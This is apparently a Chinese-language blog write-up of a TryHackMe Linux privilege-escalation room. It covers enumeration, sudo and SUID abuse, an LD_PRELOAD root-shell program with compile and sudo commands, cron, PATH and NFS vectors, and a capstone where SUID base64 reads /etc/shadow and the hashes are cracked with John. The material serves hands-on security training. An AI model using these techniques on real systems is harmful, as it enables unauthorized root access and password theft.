ROOM
前面任務的詳細作法就不寫了,基本上該任務的說明都有說了,使用相似手法即可拿到root,最後的挑戰寫在在後面。
hostname 指令將傳回目標電腦的主機名稱。儘管該值很容易更改或具有相對無意義的字串(例如Ubuntu-3487340239),但在某些情況下,它可以提供有關目標系統在企業網路中的角色的資訊(例如用於生產SQL 伺服器的SQL-PROD-01) 。
將列印系統信息,為我們提供有關係統使用的內核的更多詳細信息。這在搜尋任何可能導致權限升級的潛在核心漏洞時非常有用。
proc 檔案系統 (procfs) 提供有關目標系統進程的資訊。您會在許多不同的 Linux 版本中找到 proc,這使其成為您的工具庫中必不可少的工具。查看 /proc/version 可能會為您提供有關核心版本的資訊以及其他數據,例如是否安裝了編譯器(例如 GCC)。
也可以透過檢視 /etc/issue 檔案來識別系統。該文件通常包含一些有關作業系統的信息,但可以輕鬆自訂或更改。在這個主題上,任何包含系統資訊的文件都可以定製或更改。為了更清楚地了解系統,最好查看所有這些內容。
ps 指令是查看 Linux 系統上正在執行的進程的有效方法。在終端機上輸入 ps 將顯示目前 shell 的進程。
ps
(進程狀態)的輸出將顯示以下內容;
"ps"指令提供了一些有用的選項。
ps -A
:檢視所有正在執行的進程ps axjf
:檢視進程樹(在下方執行 ps axjf 之前先查看樹的形成)ps aux
: aux 選項將顯示所有使用者的進程 (a)、顯示啟動進程的使用者 (u) 以及顯示未附加到終端的進程 (x )。查看ps aux命令的輸出,我們可以更了解系統和潛在的漏洞。env 指令將顯示環境變數。
PATH 變數可能具有編譯器或腳本語言(例如 Python),可用於在目標系統上執行程式碼或用於權限升級。
目標系統可以設定為允許使用者以 root 權限執行某些(或全部)命令。 sudo -l
指令可用來列出使用者可以使用 sudo
執行的所有指令.
在尋找潛在的權限提升向量時,請記住始終使用帶有 -la 參數的 ls 指令。下面的範例顯示如何使用 ls 或 ls -l 指令容易錯過「secret.txt」檔案。
id
指令將提供使用者權限等級和群組成員身分的總體概述。
值得記住的是, id
命令也可用於獲取其他用戶的相同信息,如下所示。
讀取 /etc/passwd
檔案可以是發現系統上使用者的簡單方法。
雖然輸出可能很長且有點令人生畏,但它可以輕鬆地被剪切並轉換為用於暴力攻擊的有用清單。
請記住,這將返回所有用戶,其中一些是不是很有用的系統或服務用戶。另一種方法可能是 grep 查找“home”,因為真正的用戶很可能將其資料夾放在“home”目錄下。
使用 history
命令查看早期命令可以讓我們了解目標系統,並且(儘管很少)儲存了密碼或使用者名稱等資訊。
目標系統可能是另一個網路的樞紐點。 ifconfig
指令將為我們提供有關係統網路介面的資訊。下面的範例顯示目標系統有三個介面(eth0、tun0 和 tun1)。我們的攻擊機器可以到達 eth0 接口,但無法直接存取其他兩個網路。
可以使用 ip route
指令查看存在哪些網路路由來確認這一點。
對現有介面和網路路由進行初步檢查後,值得研究現有通訊。 netstat
指令可以與多個不同的選項一起使用來收集有關現有連線的資訊。
netstat -a
:顯示所有監聽連接埠和已建立的連線。netstat -a
:顯示所有監聽連接埠和已建立的連線。netstat -l
:列出「監聽」模式下的連接埠。這些連接埠已開啟並準備好接受傳入連線。這可以與“t”選項一起使用,以僅列出使用 TCP 協定偵聽的連接埠(如下)netstat -s
:依協定列出網路使用統計資訊(如下) 這也可以與 -t
或 -u
選項一起使用,以將輸出限制為特定協定。netstat -tp
:列出連線以及服務名稱和PID資訊。這也可以與 -l
選項一起使用來列出偵聽連接埠(如下)
我們可以看到“PID/程式名稱”列為空,因為該進程由另一個使用者擁有。
以下是使用 root 權限運行的相同命令,並將此資訊顯示為 2641/nc (netcat)
netstat -i
:顯示介面統計資料。我們在下面看到“eth0”和“tun0”比“tun1”更活躍。您可能在部落格文章、文章和課程中最常看到的 netstat
用法是 netstat -ano
,可以細分如下;
-a
:顯示所有套接字-n
:不解析名稱-o
:顯示計時器在目標系統中搜尋重要資訊和潛在的權限升級向量可能會取得豐碩成果。內建的「find」指令很有用,值得保留在您的武器庫中。
以下是“find”命令的一些有用範例。
find . -name flag1.txt
: 在目前目錄下找到名為「flag1.txt」的文件find /home -name flag1.txt
: 在/home目錄下找到檔案名稱“flag1.txt”find / -type d -name config
: 找到「/」下名為config的目錄find / -type f -perm 0777
: 尋找具有777權限的檔案(所有使用者可讀、可寫入、可執行的檔案)find / -perm a=x
: 尋找可執行文件find /home -user frank
: 查找“/home”下用戶“frank”的所有文件find / -mtime 10
: 尋找最近10天內修改過的文件find / -atime 10
: 尋找最近 10 天內造訪過的文件find / -cmin -60
: 尋找最近一小時(60 分鐘)內更改的文件find / -amin -60
: 尋找最近一小時(60分鐘)內的文件存取狀況find / -size 50M
: 查找50MB大小的文件上面的範例傳回大於 100 MB 的檔案。值得注意的是,「find」指令往往會產生錯誤,有時會導致輸出難以讀取。這就是為什麼明智的做法是使用帶有“-type f 2>/dev/null”的“find”命令將錯誤重定向到“/dev/null”並獲得更清晰的輸出(如下)。
可以寫入或執行的資料夾和檔案:
find / -writable -type d 2>/dev/null
: 尋找全域可寫資料夾find / -perm -222 -type d 2>/dev/null
: 尋找全域可寫資料夾find / -perm -o w -type d 2>/dev/null
: 尋找全域可寫資料夾我們看到三個不同的「find」命令可能導致相同結果的原因可以在手冊文件中看到。如下所示,perm 參數會影響「查找」的工作方式。
find / -perm -o x -type d 2>/dev/null
:尋找全域可執行資料夾尋找開發工具和支援的語言:
find / -name perl*
: 尋找名稱以 "perl" 開頭的文件或目錄find / -name python*
: 尋找名稱以 "python" 開頭的文件或目錄find / -name gcc*
: 尋找名稱以 "gcc" 開頭的文件或目錄尋找特定檔案權限:
下面是一個簡短的範例,用於尋找設定了 SUID 位元的檔案。 SUID 位元允許檔案以擁有該檔案的帳戶(而不是執行該檔案的帳戶)的權限層級運作。這允許一個有趣的權限升級路徑,我們將在任務 6 中看到更多細節。
find / -perm -u=s -type f 2>/dev/null
:尋找具有SUID位元的文件,它允許我們以比目前使用者更高的權限等級運行該文件。理想情況下,權限升級會導致 root 權限。有時可以簡單地透過利用現有漏洞來實現,或者在某些情況下透過存取具有更多權限、資訊或存取權限的另一個使用者帳戶來實現。
除非單一漏洞導致 root shell,否則權限提升過程將依賴錯誤配置和寬鬆的權限。
Linux 系統上的核心管理系統記憶體和應用程式等元件之間的通訊。這個關鍵功能需要核心有特定的權限;因此,成功的利用可能會導致 root 權限。
內核利用方法很簡單;
預設情況下,sudo 指令允許您以 root 權限執行程式。在某些情況下,系統管理員可能需要為一般使用者提供一定的權限彈性。例如,初級SOC分析師可能需要定期使用Nmap,但不會獲得完全 root 存取權限。在這種情況下,系統管理員可以允許該使用者僅以 root 權限執行Nmap,同時在系統的其餘部分保持其常規權限等級。
任何使用者都可以使用該命令檢查其目前與root權限相關的情況sudo -l
。
https://gtfobins.github.io/ 是一個有價值的資源,它提供了有關如何使用您可能擁有 sudo 權限的任何程式的資訊。
某些應用程式在此上下文中不會有已知的漏洞。您可能會看到的這樣的應用程式是 Apache2 伺服器。
在這種情況下,我們可以使用「駭客」來利用應用程式的功能來洩漏資訊。如下所示,Apache2 有一個支援載入備用設定檔的選項(-f
:指定備用 ServerConfigFile)。
使用此選項載入/etc/shadow
檔案將導致錯誤訊息,其中包括/etc/shadow
檔案的第一行。
在某些系統上,您可能會看到 LD_PRELOAD 環境選項。
LD_PRELOAD 是一個允許任何程式使用共享庫的函數。如果啟用“env_keep”選項,我們可以產生一個共享庫,該庫將在程式運行之前載入並執行。請注意,如果真實使用者 ID 與有效使用者 ID 不同,LD_PRELOAD 選項將被忽略。
這個特權升級向量的步驟可以總結如下:
C 程式碼將簡單地產生一個 root shell,可以寫如下;
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
我們可以將此程式碼儲存為 shell.c,並使用 gcc 使用以下參數將其編譯為共享物件檔案;
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
現在,當啟動使用者可以使用 sudo 運行的任何程式時,我們可以使用此共用物件檔案。在我們的例子中,Apache2、find 或幾乎任何我們可以使用 sudo 運行的程式都可以使用。
我們需要透過指定LD_PRELOAD選項來運行程序,如下;
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
這將導致產生具有 root 權限的 shell。
這將導致產生具有 root 權限的 shell。
許多 Linux 權限控制依賴於控制使用者和檔案互動。這是透過權限完成的。到目前為止,您知道檔案可以具有讀取、寫入和執行權限。這些是在其權限級別內提供給用戶的。這會隨著 SUID(設備使用者識別)和 SGID(設備群組識別)而改變。這些允許分別以檔案擁有者或群組所有者的權限層級執行檔案。
您會注意到這些檔案有一個“s”位元設置,顯示其特殊權限等級。
find / -type f -perm -04000 -ls 2>/dev/null
將列出設定了 SUID 或 SGID 位元的檔案。
一個好的做法是將此清單中的可執行檔與 GTFOBins (https://gtfobins.github.io) 進行比較。點擊 SUID 按鈕將過濾設定 SUID 位元時已知可利用的二進位檔案(您也可以使用此連結取得預先過濾清單 https://gtfobins.github.io/#+suid)。
上面的清單顯示 Nano 設定了 SUID 位元。不幸的是,GTFObins 並沒有讓我們輕鬆獲勝。對於現實生活中的特權升級場景來說,我們需要找到中間步驟來幫助我們利用我們所擁有的任何微小的發現。
Nano 文字編輯器的 SUID 位元設定允許我們使用檔案擁有者的權限建立、編輯和讀取檔案。 Nano 由 root 擁有,這可能意味著我們可以以比目前使用者更高的權限等級讀取和編輯檔案。在此階段,我們有兩個基本的權限升級選項:讀取 /etc/shadow
檔案或將我們的使用者新增至 /etc/passwd
。
以下是使用這兩個向量的簡單步驟。
讀取 /etc/shadow
文件
我們看到 Nano 文字編輯器透過執行 find / -type f -perm -04000 -ls 2>/dev/null
指令設定了 SUID 位元。
nano /etc/shadow
將列印/etc/shadow
檔案的內容。我們現在可以使用 unshadow 工具建立一個可由 John the Ripper 破解的檔案。要實現此目的,unshadow 需要 /etc/shadow
和 `/etc/passwd 檔案。
unshadow工具的用法如下圖所示;
unshadow passwd.txt shadow.txt > passwords.txt
另一個選擇是新增具有 root 權限的新使用者。這將幫助我們繞過密碼破解的繁瑣過程。下面是一個簡單的方法:
我們需要我們希望新用戶擁有的密碼的雜湊。這可以使用 Kali Linux 上的 openssl 工具快速完成。
然後,我們將此密碼和使用者名稱新增到 /etc/passwd
檔案中。
新增用戶後(請注意如何使用 root:/bin/bash
來提供 root shell),我們將需要切換到該用戶,並希望擁有 root 權限。
系統管理員可以用來提高進程或二進位檔案的權限等級的另一種方法是「功能」。功能有助於更精細地管理權限。例如,如果 SOC 分析師需要使用需要啟動套接字連線的工具,一般使用者將無法做到這一點。如果系統管理員不想授予該使用者更高的權限,他們可以更改二進位檔案的功能。因此,二進位檔案無需更高權限的使用者即可完成其任務。
我們可以使用 getcap
工具列出啟用的功能。
以非特權使用者身分執行時, getcap -r /
將產生大量錯誤,因此最好將錯誤訊息重定向到 /dev/null。
請注意,vim 及其副本都沒有設定 SUID 位元。因此,在枚舉檔案以查找 SUID 時,無法發現此權限升級向量。
GTFObins 有一個很好的二進位檔案列表,如果我們發現任何設定的功能,可以利用這些二進位檔案進行權限升級。
我們注意到 vim 可以與以下命令和負載一起使用:
這將啟動一個 root shell,如下所示;
Cron 作業用於在特定時間執行腳本或二進位檔案。預設情況下,它們以其所有者的權限運行,而不是以當前使用者的權限運行。雖然正確配置的 cron 作業本身並不容易受到攻擊,但它們在某些情況下可以提供權限升級向量。
這個想法很簡單;如果有一個以 root 權限運行的計劃任務,並且我們可以更改將運行的腳本,那麼我們的腳本將以 root 權限運行。
Cron 作業配置儲存為 crontab(cron 表),以查看任務下次執行的時間和日期。
系統上的每個使用者都有自己的 crontab 文件,並且無論是否登入都可以執行特定任務。正如您所期望的,我們的目標是找到由 root 設定的 cron 作業並讓它運行我們的腳本(最好是 shell)。
任何使用者都可以讀取 /etc/crontab
下儲存系統範圍 cron 作業的文件
雖然 CTF 機器可以每分鐘或每 5 分鐘執行一次 cron 作業,但在滲透測試活動中,您會更常看到每天、每週或每月執行的任務。
您可以看到 backup.sh
腳本被配置為每分鐘執行一次。該檔案的內容顯示了一個簡單的腳本,該腳本創建prices.xls 檔案的備份。
由於我們目前的使用者可以存取此腳本,因此我們可以輕鬆修改它以建立反向 shell,希望具有 root 權限。
該腳本將使用目標系統上可用的工具來啟動反向 shell。
需要注意的兩點;
nc
可能不支援您在其他情況下使用過的 -e
選項)現在,我們將在攻擊機器上執行監聽器來接收傳入的連線。
Crontab 始終值得檢查,因為它有時會導致輕鬆的權限升級向量。在不具備一定網路安全成熟度等級的公司中,以下情況並不少見:
此變更管理問題會導致利用 cron 作業的潛在漏洞。
上面的範例顯示了類似的情況,antivirus.sh腳本被刪除,但 cron 作業仍然存在。
如果未定義腳本的完整路徑(就像為 backup.sh 腳本所做的那樣),cron 將引用 /etc/crontab 檔案中 PATH 變數下列出的路徑。在這種情況下,我們應該能夠在使用者的主資料夾下建立一個名為「antivirus.sh」的腳本,並且它應該由 cron 作業運行。
目標系統上的檔案應該看起來很熟悉:
傳入的反向 shell 連線具有 root 權限:
在奇怪的情況下,您發現現有腳本或任務附加到 cron 作業,總是值得花時間了解腳本的功能以及如何在上下文中使用任何工具。例如,tar、7z、rsync 等,可以利用其通配符功能來利用。
如果您的使用者俱有寫入權限的資料夾位於路徑中,您可能會劫持應用程式來執行腳本。 Linux 中的 PATH 是一個環境變量,它告訴作業系統在哪裡搜尋可執行檔。對於任何未內建在 shell 中或未定義絕對路徑的命令,Linux 將開始在 PATH 下定義的資料夾中搜尋。 (PATH是我們這裡討論的環境變量,path是檔案的位置)。
通常,PATH 看起來像這樣:
如果我們在命令列中輸入“thm”,Linux 將在這些位置尋找名為 thm 的可執行檔。下面的場景將使您更了解如何利用它來提高我們的特權等級。正如您將看到的,這完全取決於目標系統的現有配置,因此在嘗試此操作之前,請確保您可以回答以下問題。
出於演示目的,我們將使用以下腳本:
該腳本嘗試啟動一個名為“thm”的系統二進位文件,但該範例可以輕鬆地用任何二進位檔案複製。
我們將其編譯為可執行檔並設定 SUID 位元。
我們的用戶現在可以存取設定了 SUID 位元的「path」腳本。
執行後,「path」將在 PATH 下列出的資料夾中尋找名為「thm」的可執行檔。
如果 PATH 下列出了任何可寫入資料夾,我們可以在該目錄下建立一個名為 thm 的二進位文件,並讓我們的「path」腳本運行它。設定 SUID 位元後,該二進位檔案將以 root 權限執行
可以使用「find / -writable 2>/dev/null
」指令完成可寫入資料夾的簡單搜尋。可以使用簡單的cut
和sort
序列來清理此命令的輸出。
某些 CTF 場景可以呈現不同的資料夾,但常規系統會輸出類似於我們上面看到的內容。
將其與 PATH 進行比較將幫助我們找到可以使用的資料夾。
我們在 /usr 下看到許多資料夾,因此再次執行可寫資料夾搜尋以覆蓋子資料夾可能會更容易。
另一種選擇是使用下面的命令。
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
我們新增了「grep -v proc
」來消除與運行進程相關的許多結果。
不幸的是,/usr下的子資料夾不可寫
更容易寫入的資料夾可能是 /tmp。此時,由於 PATH 中不存在 /tmp,因此我們需要加入它。正如我們在下面看到的,「export PATH=/tmp:$PATH
」指令完成了這個任務。
此時,路徑腳本也會在 /tmp 資料夾下尋找名為「thm」的可執行檔。
透過將 /bin/bash 作為“thm”複製到 /tmp 資料夾下,創建此命令相當容易。
我們已經為 /bin/bash 的副本授予了可執行權限,請注意,此時它將以我們的使用者權限運行。在此上下文中,使權限升級成為可能的原因是路徑腳本以 root 權限執行。
權限升級向量不僅限於內部存取。共用資料夾和遠端管理介面(例如 SSH 和 Telnet)還可以幫助您獲得目標系統的 root 存取權限。有些情況還需要使用兩個向量,例如在目標系統上尋找 root SSH 私鑰,並透過 SSH 以 root 權限進行連接,而不是嘗試提高目前使用者的權限等級。
與 CTF 和考試更相關的另一個向量是配置錯誤的網路 shell。當存在網路備份系統時,有時可以在滲透測試期間看到此向量。
NFS (Network File Sharing)網路檔案共用,配置儲存在 /etc/exports 檔案中。該檔案是在 NFS 伺服器安裝期間建立的,通常可供使用者讀取。
此權限升級向量的關鍵元素是您在上面看到的“no_root_squash”選項。預設情況下,NFS 會將 root 使用者變更為 nfsnobody,並禁止以 root 權限操作任何檔案。如果可寫共用上存在「no_root_squash」選項,我們可以建立一個設定了 SUID 位元的可執行檔並在目標系統上執行它。
我們將首先枚舉攻擊機器上的可安裝共用。
我們將把“no_root_squash”共享之一安裝到我們的攻擊機器上並開始建置我們的可執行檔。
由於我們可以設定 SUID 位,因此在目標系統上執行 /bin/bash 的簡單可執行檔將完成這項工作。
編譯程式碼後,我們將設定 SUID 位元。
您將在下面看到這兩個檔案(nfs.c 和 nfs 都存在於目標系統上。我們已經處理了已安裝的共享,因此無需傳輸它們)。
請注意,nfs 執行檔在目標系統上設定了 SUID 位,並以 root 權限執行。
題目
到目前為止,您已經對Linux上的主要權限升級向量有了相當好的了解,而這個挑戰應該相當容易。
您已獲得大型科學設施的SSH存取權。嘗試提升您的權限,直到成為 Root 為止。
我們設計這個房間是為了幫助您建立一個全面的Linux 權限升級方法,這在 OSCP 和滲透測試等考試中非常有用。
不要不探索任何特權升級向量,特權升級通常更像是一門藝術,而不是一門科學。
您可以透過瀏覽器存取目標電腦或使用下面的SSH憑證。
嘗試過各總手法最後用find / -type f -perm -04000 -ls 2>/dev/null
找到有base64可以用
16779966 40 -rwsr-xr-x 1 root root 37360 Aug 20 2019 /usr/bin/base64
之後因為使用find / -type f -name flag*.txt 2>/dev/null
找不到任何東西所以去翻history
找到flag2的位置,並且知道還有另一位使用者missy
最後flag2就先找了
[leonard@ip-10-10-73-38 home]$ base64 ./rootflag/flag2.txt | base64 -d
THM-168824782390238
跟前面一樣繼續利用SUID用base64去/etc/shadow取得missy的password hash,再拿去本機用john爆破
[leonard@ip-10-10-73-38 home]$ base64 /etc/shadow | base64 -d
root:$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrzV5HtIL51::0:99999:7:::
省略~省略~省略~
missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0:99999:7:::
[leonard@ip-10-10-73-38 home]$
這邊提醒一下echo
後面的$字元要加上\跳脫字元,差點忘記
parrot@G:/tmp$ echo "\$6\$BjOlWE21\$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/" > pd.txt
parrot@G:/tmp$ john --wordlist=/usr/share/wordlists/rockyou.txt pd.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1 (?)
1g 0:00:00:01 DONE (2024-07-24 15:03) 0.8403g/s 3442p/s 3442c/s 3442C/s adriano..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
parrot@G:/tmp$
拿到missy的密碼是Password1之後切換使用者變成missy在此使用find / -type f -name flag*.txt 2>/dev/null
果真找到flag1的路徑
[leonard@ip-10-10-73-38 home]$ su missy
Password:
[missy@ip-10-10-73-38 home]$ cd /home
[missy@ip-10-10-73-38 home]$ ls
leonard missy rootflag
[missy@ip-10-10-73-38 home]$ cd missy
[missy@ip-10-10-73-38 ~]$ ls
Desktop Documents Downloads Music perl5 Pictures Public Templates Videos
[missy@ip-10-10-73-38 ~]$ find / -type f -name flag*.txt 2>/dev/null
/home/missy/Documents/flag1.txt
[missy@ip-10-10-73-38 ~]$ cat /home/missy/Documents/flag1.txt
THM-42828719920544
[missy@ip-10-10-73-38 ~]$